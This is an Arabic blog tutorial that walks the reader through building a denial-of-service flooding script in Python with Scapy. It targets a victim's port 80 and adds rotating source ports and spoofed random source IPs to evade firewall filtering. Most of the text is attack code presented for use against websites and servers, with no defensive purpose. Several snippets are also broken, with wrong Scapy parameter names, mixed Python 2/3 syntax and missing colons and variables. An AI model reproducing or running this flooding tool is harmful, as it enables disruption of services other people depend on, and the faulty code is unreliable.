القائمة الرئيسية

الصفحات

شرح برمجة اداة dos attack في بايثون

شرح برمجة اداة dos attack في بايثون بواسطة مكتبة scapy

فى هذا الشرح, سنتعرف على هجوم DdoS وفهم كيفية برمجة سكربت خاص بك يقوم بحجب الخدمة عن المواقع

هناك نوعان لهجمات حجب الخدمة وهية
  • DoS  - Denial-of-Service
  • DDoS - Distribted Denial of Service

الفرق بينهما هو أن هجوم الدوس  Dos  يستخدم كمبيوتر واحد متصل بالإنترنت  وهذا النوع تأثيره محدود جدا.


أما هجوم  DDoS يستخدم أجهزة كمبيوتر متعددة واتصالات إنترنت لاغراق الهدف بطلبات كثيرة من أجهزة مختلفة في نفس الوقت وهذا النوع هو الاقوى والمستعمل بكثرة في الهجوم على المواقع الالكترونية.

والان سأبدء بالشرح الاساسي وهو  كيفية صنع سكربت بأنفسنا وذلك باستعمال لغة البايثون ومكتبة سكابي Scapy 

شرح برمجة اداة Dos Attack

أولا تثبيت مكتبة سكابي Scapy عبر الامر التالي 

pip install scapy

بعد انتهاء تثبيتها قم بفتح ملف واعطه اسم dos.py
الأن قم بكتابة استدعاء للمكتبة سكابي بهذه الطريقة
from scapy.all import *
الان سنضيف ثلاث متغيرات ستستقبل المدخلات التي يدخلها المستخدم, وهي الاي بي الخاص بجهاز الهكر Source , والاي بي الخاص بالضحية  Target  سواء كان موقع او سيرفر او جهاز كمبيوتر, والمدخل الثالث هو البورت المفتوح لدى الضحية والذي سننفذ الهجوم من خلاله
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
الان نكتب الدالة الاساسية الخاصة بسكربت الهجوم داخل حلقة loop لانهائية

i = 1
    while True:
        IP1 = IP(source_IP = source_IP, destination = target_IP)
        TCP1 = TCP(srcport = source_port, dstport = 80)
        pkt = IP1 / TCP1
        send(pkt, inter = .001)
        print ("packet sent ", i)
        i = i + 1

شرح الكود السابق

قمت بانشاء متغير i وهو بمثابة عداد أو معامل زيادة بمقدار واحد.. وهو يعمل مع حلقة while
IP1  هو متغير مررنا له دالة IP خاصة بمكتبة سكابي تحتوي على مدخلين: اي بي المهاجم وايبي الضحية . 
        IP1 = IP(source_IP = source_IPdestination = target_IP)
TCP1:  عبارة عن بروتوكول يحتاج الى مدخلين وهما البورت الخاص بالهاكر srcport والبورت الخاص بالضحية dstport
pkt: عبارة عن الحزمة التي سنرسلها لاغراق الهدف بالطلبات
وتتكون من الاجبي والبورت  السابقين 

        pkt = IP1 / TCP1
send هو أمر متعلق بمكتبة سكابي لارسال الحزمة التي صنعناها 
inter هو مجال زمني بين ارسال الحزمة الاولى والتي تليها
        send(pkt, inter = .001)
الامر الاخير هو طباعة عدد الحزم (i) التي قمنا بارسالها 
        print ("packet sent ", i)
ثم يقوم بزيادة العداد حتى يحسب الباكيت او الحزم المرسلة من طرفنا
        i = i + 1
وهذه صورة الكود الكامل للسكربت الذي صنعناه

سكربت بايثون  يقوم بحجب الخدمة Denial Of Service.


نحن قمنا الأن ببرمجة أداة تقوم بمهاجمة الضحية سواء كان سيرفر او جهاز او غيره عن طريق بورت محدد
ماذا لو كان عند الضحية جدار حماية وقام بحماية نفسه ؟؟ 
عن طريق فلترة ومنع البورت الخاص بالهكر من الوصول لجهازه؟  مشكلة اليس كذلك !
مارأيك لو نقوم بخداعه وتغيير البورت الخاص بنا كل ثانية.  
تابع ...


نبدأ باضافة حلقة بسيطة للاداة من نوع for وهذه الحلقة دورها هو توليد ارقام عشوائية, من 0 الى 65535, وهذه الارقام سنستغلها على اساس انها بورتات,انظر كيف

from scapy.all import *

src = raw_input("Enter the Source IP ")
target = raw_input("Enter the Target IP ")

i=1
while True:
    for srcport in range(1,65535):       IP1 = IP(src=src, dst=target)
       TCP1 = TCP(sport=srcport, dport=80)       pkt = IP1 / TCP1
       send(pkt,inter= .0001)
      print "packet sent ", i
    i=i+1
ما قمنا باضافته هو وضع الكود السابق الخاص بنا داخل حلقة فور For
for srcport in range(1,65535):
ستقوم هذه الحلقة باخذ رقم من المجال 1 - 65535 ثم تستخدمه على اساس أنه بورت  srcport 

صورة للسكربت الكامل


لاحظ كم بورت يظهر عند الضحية عند فحص الترافيك على الشبكة بواسطة برنامج wireshark
Single IP Multiple port Dos Attack

الأن مادمت قد تعلمت كيفية  برمجة سكربت دوس اتاك متطور, دعنى نطوره أكثر من ذي قبل بحيث حتى وان استطاع الضحية من فلترة ومن الاي بي الخاص بنا من  يستمر السكربت في الهجوم, ولكن كيف ذلك؟
علينا بتطوير السكربت حتى يقوم بالهجوم السابق Multi Ports مع عدة ايبيات  Multi IP , 

Multiple IP multiple port Dos Attack

برمجة سكربت بهذه الخواص أمر معقد قليلا, لكنه ليس مستحيل, يجب عليك التركيز فقط تابع معي:
 نقوم باستدعاء مكتبة random اضافة الى scapy
random تقوم بتوليد اعداد عشوائية كما نريد, وباوامر سهلة


import random
from scapy.all import *
 متغير وحيد يطلب من المستخدم ادخال اي بي الضحية
target_IP = input("Enter IP address of Target: ")

الان الكود الاساس  سأضعه بشكل مبسط 
while True:
   a = str(random.randint(1,254))
   b = str(random.randint(1,254))
   c = str(random.randint(1,254))
   d = str(random.randint(1,254))
   dot = “.”
   Source_ip = a + dot + b + dot + c + dot + d
 
   for source_port in range(1, 65535)
      IP1 = IP(source_IP = source_IP, destination = target_IP)
      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
   
      print ("packet sent ", i)
         i = i + 1
طبعا نفس السكربت السابق ولكن الاختلاف يكمن في خاصية توليد الاي بي العشوائي
قمن باضافة متغيرات a,b,c,d تحمل رقم عشوائي من 1 - 254 وهي تمثل خانة من خانات الايبي الاربع
ثم اضافنا متغير dot وأسندنا له نقطة , الاي بي النهائي سينتج بهذا الكود بطريقة التعويض:
   Source_ip = a + dot + b + dot + c + dot + d
في الجزء الثاني من الكود وهو نفسه في السكربت الاول والثاني, قمنا باسناد الاي بي الذي ينتج من الدالة الاولى لها, ليقوم باستعماله اثناء ارسال الحزم
      IP1 = IP(source_IP = source_IP, destination = target_IP)
الايبي يصبح مكان عبارة source ip باللون الاصفر.

صورة للكود من المحرر vscode


وهذا عند فحص الضحية لشبكته, سيرى عدة ايبيهات قادمة
Multiple IP multiple port Dos Attack
هل اعجبك الموضوع :

تعليقات

تعليق واحد
إرسال تعليق

إرسال تعليق

التنقل السريع